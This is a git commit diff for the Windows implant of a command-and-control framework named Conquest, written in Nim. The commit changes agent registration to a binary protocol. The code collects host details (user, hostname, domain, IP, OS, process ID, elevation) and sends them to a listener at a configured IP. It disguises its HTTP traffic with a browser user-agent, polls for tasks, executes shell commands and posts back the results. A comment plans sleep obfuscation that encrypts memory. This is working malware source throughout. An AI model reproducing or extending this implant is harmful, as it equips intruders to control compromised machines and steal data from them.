Implemented agent registration to match new binary structure instead of json.

This commit is contained in:
Jakob Friedl
2025-07-21 22:07:25 +02:00
parent 99f55cc04f
commit 9f15026fd1
28 changed files with 452 additions and 327 deletions

View File

@@ -23,7 +23,8 @@ type OSVersionInfoExW* {.importc: "OSVERSIONINFOEXW", header: "<windows.h>".} =
type
AgentConfig* = ref object
listener*: string
agentId*: string
listenerId*: string
ip*: string
port*: int
sleep*: int

View File

@@ -1,8 +1,8 @@
import os, strutils, strformat, winim, times, algorithm
import ../[agentTypes, utils]
import ../task/result
import ../../../common/types
import ../agentTypes
import ../core/taskresult
import ../../../common/[types, utils]
# Retrieve current working directory
proc taskPwd*(config: AgentConfig, task: Task): TaskResult =

View File

@@ -1,8 +1,8 @@
import winim, osproc, strutils, strformat
import ../task/result
import ../[utils, agentTypes]
import ../../../common/types
import ../core/taskresult
import ../agentTypes
import ../../../common/[types, utils]
proc taskShell*(config: AgentConfig, task: Task): TaskResult =

View File

@@ -1,8 +1,8 @@
import os, strutils, strformat
import ../[agentTypes, utils]
import ../task/result
import ../../../common/[types, serialize]
import ../[agentTypes]
import ../core/taskresult
import ../../../common/[types, utils, serialize]
proc taskSleep*(config: AgentConfig, task: Task): TaskResult =
@@ -16,7 +16,6 @@ proc taskSleep*(config: AgentConfig, task: Task): TaskResult =
# Updating sleep in agent config
config.sleep = delay
return createTaskResult(task, STATUS_COMPLETED, RESULT_NO_OUTPUT, @[])
except CatchableError as err:

View File

@@ -1,46 +1,44 @@
import httpclient, json, strformat, asyncdispatch
import ./[agentTypes, utils, agentInfo]
import ../../common/types
import ./metadata
import ../agentTypes
import ../../../common/[types, utils]
proc register*(config: AgentConfig): string =
const USER_AGENT = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36"
let client = newAsyncHttpClient()
proc register*(config: AgentConfig, registrationData: seq[byte]): bool {.discardable.} =
# Define headers
client.headers = newHttpHeaders({ "Content-Type": "application/json" })
let client = newAsyncHttpClient(userAgent = USER_AGENT)
# Create registration payload
let body = %*{
"username": getUsername(),
"hostname":getHostname(),
"domain": getDomain(),
"ip": getIPv4Address(),
"os": getOSVersion(),
"process": getProcessExe(),
"pid": getProcessId(),
"elevated": isElevated(),
"sleep": config.sleep
}
echo $body
# Define HTTP headers
client.headers = newHttpHeaders({
"Content-Type": "application/octet-stream",
"Content-Length": $registrationData.len
})
let body = registrationData.toString()
try:
# Register agent to the Conquest server
return waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/register", $body)
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/register", body)
except CatchableError as err:
echo "[-] [register]:", err.msg
quit(0)
finally:
client.close()
proc getTasks*(config: AgentConfig, agent: string): string =
return true
let client = newAsyncHttpClient()
proc getTasks*(config: AgentConfig): string =
let client = newAsyncHttpClient(userAgent = USER_AGENT)
var responseBody = ""
try:
# Retrieve binary task data from listener and convert it to seq[bytes] for deserialization
responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listener}/{agent}/tasks")
responseBody = waitFor client.getContent(fmt"http://{config.ip}:{$config.port}/{config.listenerId}/{config.agentId}/tasks")
return responseBody
except CatchableError as err:
@@ -52,9 +50,9 @@ proc getTasks*(config: AgentConfig, agent: string): string =
return ""
proc postResults*(config: AgentConfig, taskResult: TaskResult, resultData: seq[byte]): bool =
proc postResults*(config: AgentConfig, resultData: seq[byte]): bool {.discardable.} =
let client = newAsyncHttpClient()
let client = newAsyncHttpClient(userAgent = USER_AGENT)
# Define headers
client.headers = newHttpHeaders({
@@ -68,7 +66,7 @@ proc postResults*(config: AgentConfig, taskResult: TaskResult, resultData: seq[b
try:
# Send binary task result data to server
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/{uuidToString(taskResult.listenerId)}/{uuidToString(taskResult.agentId)}/{uuidToString(taskResult.taskId)}/results", body)
discard waitFor client.postContent(fmt"http://{config.ip}:{$config.port}/results", body)
except CatchableError as err:
# When the listener is not reachable, don't kill the application, but check in at the next time

View File

@@ -1,6 +1,7 @@
import winim, os, net, strformat, strutils, registry
import ./[agentTypes, utils]
import ../agentTypes
import ../../../common/[types, utils]
# Hostname/Computername
proc getHostname*(): string =
@@ -68,6 +69,69 @@ proc getIPv4Address*(): string =
return $getPrimaryIpAddr()
# Windows Version fingerprinting
proc getWindowsVersion*(info: agentTypes.OSVersionInfoExW, productType: ProductType): string =
let
major = info.dwMajorVersion
minor = info.dwMinorVersion
build = info.dwBuildNumber
spMajor = info.wServicePackMajor
if major == 10 and minor == 0:
if productType == WORKSTATION:
if build >= 22000:
return "Windows 11"
else:
return "Windows 10"
else:
case build:
of 20348:
return "Windows Server 2022"
of 17763:
return "Windows Server 2019"
of 14393:
return "Windows Server 2016"
else:
return fmt"Windows Server 10.x (Build: {build})"
elif major == 6:
case minor:
of 3:
if productType == WORKSTATION:
return "Windows 8.1"
else:
return "Windows Server 2012 R2"
of 2:
if productType == WORKSTATION:
return "Windows 8"
else:
return "Windows Server 2012"
of 1:
if productType == WORKSTATION:
return "Windows 7"
else:
return "Windows Server 2008 R2"
of 0:
if productType == WORKSTATION:
return "Windows Vista"
else:
return "Windows Server 2008"
else:
discard
elif major == 5:
if minor == 2:
if productType == WORKSTATION:
return "Windows XP x64 Edition"
else:
return "Windows Server 2003"
elif minor == 1:
return "Windows XP"
else:
discard
return "Unknown Windows Version"
proc getProductType(): ProductType =
# The product key is retrieved from the registry
# HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ProductOptions
@@ -108,4 +172,29 @@ proc getOSVersion*(): string =
else:
return "Unknown"
proc getRegistrationData*(config: AgentConfig): AgentRegistrationData =
return AgentRegistrationData(
header: Header(
magic: MAGIC,
version: VERSION,
packetType: cast[uint8](MSG_RESPONSE),
flags: cast[uint16](FLAG_PLAINTEXT),
seqNr: 1'u32, # TODO: Implement sequence tracking
size: 0'u32,
hmac: default(array[16, byte])
),
metadata: AgentMetadata(
agentId: uuidToUint32(config.agentId),
listenerId: uuidToUint32(config.listenerId),
username: getUsername().toBytes(),
hostname: getHostname().toBytes(),
domain: getDomain().toBytes(),
ip: getIPv4Address().toBytes(),
os: getOSVersion().toBytes(),
process: getProcessExe().toBytes(),
pid: cast[uint32](getProcessId()),
isElevated: cast[uint8](isElevated()),
sleep: cast[uint32](config.sleep)
)
)

View File

@@ -1,7 +1,6 @@
import strutils, strformat
import ../[agentTypes, utils]
import ../../../common/[types, serialize]
import ../../../common/[types, utils, serialize]
proc deserializeTask*(bytes: seq[byte]): Task =
@@ -127,6 +126,39 @@ proc serializeTaskResult*(taskResult: TaskResult): seq[byte] =
return header & body
proc serializeRegistrationData*(data: AgentRegistrationData): seq[byte] =
var packer = initPacker()
# Serialize registration data
packer
.add(data.metadata.agentId)
.add(data.metadata.listenerId)
.addVarLengthMetadata(data.metadata.username)
.addVarLengthMetadata(data.metadata.hostname)
.addVarLengthMetadata(data.metadata.domain)
.addVarLengthMetadata(data.metadata.ip)
.addVarLengthMetadata(data.metadata.os)
.addVarLengthMetadata(data.metadata.process)
.add(data.metadata.pid)
.add(data.metadata.isElevated)
.add(data.metadata.sleep)
let metadata = packer.pack()
packer.reset()
# TODO: Encrypt metadata
# Serialize header
packer
.add(data.header.magic)
.add(data.header.version)
.add(data.header.packetType)
.add(data.header.flags)
.add(data.header.seqNr)
.add(cast[uint32](metadata.len))
.addData(data.header.hmac)
let header = packer.pack()
return header & metadata

View File

@@ -1,7 +1,8 @@
import strutils, tables, json
import ../agentTypes
import ../commands/commands
import ../../../common/types
import ../../../common/[types, utils]
import sugar
proc handleTask*(config: AgentConfig, task: Task): TaskResult =
@@ -19,4 +20,5 @@ proc handleTask*(config: AgentConfig, task: Task): TaskResult =
}.toTable
# Handle task command
return handlers[cast[CommandType](task.command)](config, task)
return handlers[cast[CommandType](task.command)](config, task)

View File

@@ -1,5 +1,5 @@
import times
import ../../../common/types
import times
import ../../../common/[types, utils]
proc createTaskResult*(task: Task, status: StatusType, resultType: ResultType, resultData: seq[byte]): TaskResult =

View File

@@ -1,9 +1,10 @@
import strformat, os, times
import strformat, os, times, random
import winim
import sugar
import ./[agentTypes, http]
import task/handler, task/packer
import ../../common/types
import ./agentTypes
import core/[task, packer, http, metadata]
import ../../common/[types, utils]
const ListenerUuid {.strdefine.}: string = ""
const Octet1 {.intdefine.}: int = 0
@@ -14,6 +15,7 @@ const ListenerPort {.intdefine.}: int = 5555
const SleepDelay {.intdefine.}: int = 10
proc main() =
randomize()
#[
The process is the following:
@@ -35,14 +37,19 @@ proc main() =
# Create agent configuration
var config = AgentConfig(
listener: ListenerUuid,
agentId: generateUUID(),
listenerId: ListenerUuid,
ip: address,
port: ListenerPort,
sleep: SleepDelay
)
let agent = config.register()
echo fmt"[+] [{agent}] Agent registered."
# Create registration payload
let registrationData: AgentRegistrationData = config.getRegistrationData()
let registrationBytes = serializeRegistrationData(registrationData)
config.register(registrationBytes)
echo fmt"[+] [{config.agentId}] Agent registered."
#[
Agent routine:
@@ -54,13 +61,14 @@ proc main() =
]#
while true:
# TODO: Replace with actual sleep obfuscation that encrypts agent memory
sleep(config.sleep * 1000)
let date: string = now().format("dd-MM-yyyy HH:mm:ss")
echo fmt"[{date}] Checking in."
# Retrieve task queue for the current agent
let packet: string = config.getTasks(agent)
let packet: string = config.getTasks()
if packet.len <= 0:
echo "No tasks to execute."
@@ -78,9 +86,8 @@ proc main() =
result: TaskResult = config.handleTask(task)
resultData: seq[byte] = serializeTaskResult(result)
echo resultData
discard config.postResults(result, resultData)
# echo resultData
config.postResults(resultData)
when isMainModule:
main()

View File

@@ -1,8 +1,8 @@
# Agent configuration
-d:ListenerUuid="CFD80565"
-d:Octet1="127"
-d:Octet2="0"
-d:Octet3="0"
-d:Octet4="1"
-d:ListenerPort=9999
-d:SleepDelay=3
-d:ListenerUuid="A5466110"
-d:Octet1="172"
-d:Octet2="29"
-d:Octet3="177"
-d:Octet4="43"
-d:ListenerPort=8888
-d:SleepDelay=5

View File

@@ -1,90 +0,0 @@
import strformat, strutils
import ./agentTypes
proc getWindowsVersion*(info: OSVersionInfoExW, productType: ProductType): string =
let
major = info.dwMajorVersion
minor = info.dwMinorVersion
build = info.dwBuildNumber
spMajor = info.wServicePackMajor
if major == 10 and minor == 0:
if productType == WORKSTATION:
if build >= 22000:
return "Windows 11"
else:
return "Windows 10"
else:
case build:
of 20348:
return "Windows Server 2022"
of 17763:
return "Windows Server 2019"
of 14393:
return "Windows Server 2016"
else:
return fmt"Windows Server 10.x (Build: {build})"
elif major == 6:
case minor:
of 3:
if productType == WORKSTATION:
return "Windows 8.1"
else:
return "Windows Server 2012 R2"
of 2:
if productType == WORKSTATION:
return "Windows 8"
else:
return "Windows Server 2012"
of 1:
if productType == WORKSTATION:
return "Windows 7"
else:
return "Windows Server 2008 R2"
of 0:
if productType == WORKSTATION:
return "Windows Vista"
else:
return "Windows Server 2008"
else:
discard
elif major == 5:
if minor == 2:
if productType == WORKSTATION:
return "Windows XP x64 Edition"
else:
return "Windows Server 2003"
elif minor == 1:
return "Windows XP"
else:
discard
return "Unknown Windows Version"
proc toString*(data: seq[byte]): string =
result = newString(data.len)
for i, b in data:
result[i] = char(b)
proc toBytes*(data: string): seq[byte] =
result = newSeq[byte](data.len)
for i, c in data:
result[i] = byte(c.ord)
proc uuidToUint32*(uuid: string): uint32 =
return fromHex[uint32](uuid)
proc uuidToString*(uuid: uint32): string =
return uuid.toHex(8)
proc toUint32*(data: seq[byte]): uint32 =
if data.len != 4:
raise newException(ValueError, "Expected 4 bytes for uint32")
return uint32(data[0]) or
(uint32(data[1]) shl 8) or
(uint32(data[2]) shl 16) or
(uint32(data[3]) shl 24)